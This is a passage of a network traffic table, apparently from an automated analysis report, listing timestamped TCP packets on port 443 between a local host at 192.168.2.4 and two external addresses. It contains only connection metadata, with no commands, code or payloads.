| Jan 11, 2025 03:53:22.059624910 CET | 53722 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:22.059689045 CET | 443 | 53722 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:22.059739113 CET | 53722 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:22.060525894 CET | 53722 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:22.060543060 CET | 443 | 53722 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:22.194086075 CET | 53727 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:22.194170952 CET | 443 | 53727 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:22.194346905 CET | 53727 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:22.194710016 CET | 53727 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:22.194726944 CET | 443 | 53727 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:22.835906982 CET | 443 | 53727 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:22.836097002 CET | 53727 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:22.837002039 CET | 443 | 53727 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:22.837070942 CET | 53727 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:22.839349031 CET | 53727 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:22.839368105 CET | 443 | 53727 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:22.839761972 CET | 443 | 53727 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:22.839819908 CET | 53727 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:22.840312958 CET | 53727 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:22.883353949 CET | 443 | 53727 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:23.220314980 CET | 443 | 53727 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:23.220675945 CET | 53727 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:23.220815897 CET | 53727 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:23.220851898 CET | 443 | 53727 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:23.220899105 CET | 53727 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:23.233268976 CET | 53733 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:23.233323097 CET | 443 | 53733 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:23.233405113 CET | 53733 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:23.233733892 CET | 53733 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:23.233748913 CET | 443 | 53733 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:23.871213913 CET | 443 | 53733 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:23.871295929 CET | 53733 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:23.871886969 CET | 53733 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:23.871893883 CET | 443 | 53733 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:23.872097969 CET | 53733 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:23.872102976 CET | 443 | 53733 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:24.306180954 CET | 443 | 53733 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:24.306260109 CET | 53733 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:24.306273937 CET | 443 | 53733 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:24.306293964 CET | 443 | 53733 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:24.306329012 CET | 53733 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:24.306337118 CET | 443 | 53733 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:24.306354046 CET | 53733 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:24.306376934 CET | 443 | 53733 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:24.306396008 CET | 53733 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:24.306437016 CET | 53733 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:24.307235956 CET | 53733 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:24.307251930 CET | 443 | 53733 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:24.429686069 CET | 53740 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:24.429738998 CET | 443 | 53740 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:24.429824114 CET | 53740 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:24.430696964 CET | 53740 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:24.430716038 CET | 443 | 53740 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:25.074482918 CET | 443 | 53740 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:25.074600935 CET | 53740 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:25.075612068 CET | 443 | 53740 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:25.075701952 CET | 53740 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:25.077896118 CET | 53740 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:25.077907085 CET | 443 | 53740 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:25.078247070 CET | 443 | 53740 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:25.078525066 CET | 53740 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:25.078774929 CET | 53740 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:25.119350910 CET | 443 | 53740 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:25.474919081 CET | 443 | 53740 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:25.474983931 CET | 53740 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:25.475248098 CET | 53740 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:25.475296021 CET | 443 | 53740 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:25.475342035 CET | 53740 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:25.494785070 CET | 53749 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:25.494816065 CET | 443 | 53749 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:25.494924068 CET | 53749 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:25.495285988 CET | 53749 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:25.495297909 CET | 443 | 53749 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:26.143294096 CET | 443 | 53749 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:26.143419981 CET | 53749 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:26.143949986 CET | 53749 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:26.143968105 CET | 443 | 53749 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:26.144138098 CET | 53749 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:26.144146919 CET | 443 | 53749 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:26.597496986 CET | 443 | 53749 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:26.597594976 CET | 53749 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:26.597645044 CET | 443 | 53749 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:26.597691059 CET | 53749 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:26.597722054 CET | 443 | 53749 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:26.597820044 CET | 443 | 53749 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:26.597862959 CET | 53749 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:26.598551989 CET | 53749 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:26.598577023 CET | 443 | 53749 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:26.725384951 CET | 53757 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:26.725435972 CET | 443 | 53757 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:26.725882053 CET | 53757 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:26.725882053 CET | 53757 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:26.725920916 CET | 443 | 53757 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:27.355366945 CET | 443 | 53757 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:27.355572939 CET | 53757 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:27.356365919 CET | 443 | 53757 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:27.356431961 CET | 53757 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:27.358254910 CET | 53757 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:27.358270884 CET | 443 | 53757 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:27.358558893 CET | 443 | 53757 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:27.358613014 CET | 53757 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:27.359117985 CET | 53757 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:27.399336100 CET | 443 | 53757 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:27.738668919 CET | 443 | 53757 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:27.738760948 CET | 53757 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:27.738787889 CET | 443 | 53757 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:27.738825083 CET | 53757 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:27.738898993 CET | 53757 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:27.738955975 CET | 443 | 53757 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:27.738997936 CET | 53757 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:27.749460936 CET | 53763 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:27.749499083 CET | 443 | 53763 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:27.749564886 CET | 53763 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:27.749834061 CET | 53763 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:27.749846935 CET | 443 | 53763 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:28.383083105 CET | 443 | 53763 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:28.383132935 CET | 53763 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:28.384035110 CET | 53763 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:28.384042025 CET | 443 | 53763 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:28.384232044 CET | 53763 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:28.384236097 CET | 443 | 53763 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:28.829678059 CET | 443 | 53763 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:28.829751968 CET | 443 | 53763 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:28.829812050 CET | 53763 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:28.829818010 CET | 443 | 53763 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:28.829858065 CET | 53763 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:28.834122896 CET | 53763 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:28.834151983 CET | 443 | 53763 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:29.104104996 CET | 53773 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:29.104160070 CET | 443 | 53773 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:29.104229927 CET | 53773 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:29.105065107 CET | 53773 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:29.105077982 CET | 443 | 53773 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:29.733131886 CET | 443 | 53773 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:29.733196974 CET | 53773 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:29.733887911 CET | 443 | 53773 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:29.733933926 CET | 53773 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:29.740108013 CET | 53773 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:29.740128040 CET | 443 | 53773 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:29.740428925 CET | 443 | 53773 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:29.740477085 CET | 53773 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:29.741247892 CET | 53773 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:29.783334017 CET | 443 | 53773 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:30.123498917 CET | 443 | 53773 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:30.123666048 CET | 53773 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:30.123698950 CET | 443 | 53773 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:30.123749018 CET | 53773 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:30.123882055 CET | 53773 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:30.123929977 CET | 443 | 53773 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:30.123979092 CET | 53773 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:30.139910936 CET | 53774 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:30.139955997 CET | 443 | 53774 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:30.140036106 CET | 53774 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:30.140335083 CET | 53774 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:30.140352011 CET | 443 | 53774 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:30.791788101 CET | 443 | 53774 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:30.791954994 CET | 53774 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:30.792584896 CET | 53774 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:30.792597055 CET | 443 | 53774 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:30.792787075 CET | 53774 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:30.792793036 CET | 443 | 53774 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:31.224456072 CET | 443 | 53774 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:31.224526882 CET | 443 | 53774 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:31.224618912 CET | 443 | 53774 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:31.224647045 CET | 53774 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:31.224718094 CET | 53774 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:31.225227118 CET | 53774 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:31.225270987 CET | 443 | 53774 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:31.360296965 CET | 53775 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:31.360375881 CET | 443 | 53775 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:31.360574007 CET | 53775 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:31.362998009 CET | 53775 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:31.363024950 CET | 443 | 53775 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:32.001089096 CET | 443 | 53775 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:32.001167059 CET | 53775 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:32.001861095 CET | 443 | 53775 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:32.001918077 CET | 53775 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:32.003765106 CET | 53775 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:32.003781080 CET | 443 | 53775 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:32.004038095 CET | 443 | 53775 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:32.004081964 CET | 53775 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:32.033116102 CET | 53775 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:32.079339027 CET | 443 | 53775 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:32.387336969 CET | 443 | 53775 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:32.387397051 CET | 53775 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:32.387423992 CET | 443 | 53775 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:32.387464046 CET | 53775 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:32.387641907 CET | 53775 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:32.387672901 CET | 443 | 53775 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:32.387722015 CET | 53775 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:32.403223991 CET | 53776 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:32.403280020 CET | 443 | 53776 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:32.403368950 CET | 53776 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:32.403822899 CET | 53776 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:32.403836966 CET | 443 | 53776 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:33.057286024 CET | 443 | 53776 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:33.057387114 CET | 53776 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:33.058002949 CET | 53776 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:33.058016062 CET | 443 | 53776 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:33.058233976 CET | 53776 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:33.058239937 CET | 443 | 53776 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:33.511101961 CET | 443 | 53776 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:33.511163950 CET | 443 | 53776 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:33.511188984 CET | 53776 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:33.511224985 CET | 443 | 53776 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:33.511239052 CET | 443 | 53776 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:33.511240959 CET | 53776 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:33.511260986 CET | 53776 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:33.511287928 CET | 53776 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:33.512083054 CET | 53776 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:33.512100935 CET | 443 | 53776 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:33.631791115 CET | 53777 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:33.631840944 CET | 443 | 53777 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:33.631937027 CET | 53777 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:33.632344007 CET | 53777 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:33.632354975 CET | 443 | 53777 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:34.276778936 CET | 443 | 53777 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:34.276931047 CET | 53777 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:34.279489994 CET | 443 | 53777 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:34.279652119 CET | 53777 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:34.281135082 CET | 53777 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:34.281151056 CET | 443 | 53777 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:34.282051086 CET | 443 | 53777 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:34.282110929 CET | 53777 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:34.282459974 CET | 53777 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:34.323358059 CET | 443 | 53777 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:34.662164927 CET | 443 | 53777 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:34.662261009 CET | 53777 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:34.662276983 CET | 443 | 53777 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:34.662318945 CET | 53777 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:34.662828922 CET | 443 | 53777 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:34.662868023 CET | 53777 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:34.662875891 CET | 443 | 53777 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:34.662914991 CET | 53777 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:34.815814018 CET | 53777 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:34.815845013 CET | 443 | 53777 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:34.856940031 CET | 53778 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:34.857012987 CET | 443 | 53778 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:34.857094049 CET | 53778 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:34.857453108 CET | 53778 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:34.857466936 CET | 443 | 53778 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:35.506268024 CET | 443 | 53778 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:35.506373882 CET | 53778 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:35.506962061 CET | 53778 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:35.506973982 CET | 443 | 53778 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:35.507211924 CET | 53778 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:35.507216930 CET | 443 | 53778 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:35.942799091 CET | 443 | 53778 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:35.942886114 CET | 443 | 53778 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:35.942895889 CET | 53778 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:35.942928076 CET | 443 | 53778 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:35.942945957 CET | 53778 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:35.942982912 CET | 443 | 53778 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:35.942984104 CET | 53778 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:35.943027020 CET | 53778 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:35.943821907 CET | 53778 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:35.943837881 CET | 443 | 53778 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:36.069066048 CET | 53779 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:36.069117069 CET | 443 | 53779 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:36.069211960 CET | 53779 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:36.069601059 CET | 53779 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:36.069617987 CET | 443 | 53779 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:36.724261045 CET | 443 | 53779 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:36.724319935 CET | 53779 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:36.725044966 CET | 53779 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:36.725054026 CET | 443 | 53779 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:36.725258112 CET | 53779 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:36.725260973 CET | 443 | 53779 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:37.109483004 CET | 443 | 53779 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:37.109631062 CET | 443 | 53779 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:53:37.109791994 CET | 53779 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:37.109791994 CET | 53779 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:37.109791994 CET | 53779 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:37.109827042 CET | 53779 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:53:37.133025885 CET | 53780 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:53:37.133117914 CET | 443 | 53780 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:53:37.133213997 CET | 53780 | 443 | 192.168.2.4 | 172.217.16.129 |
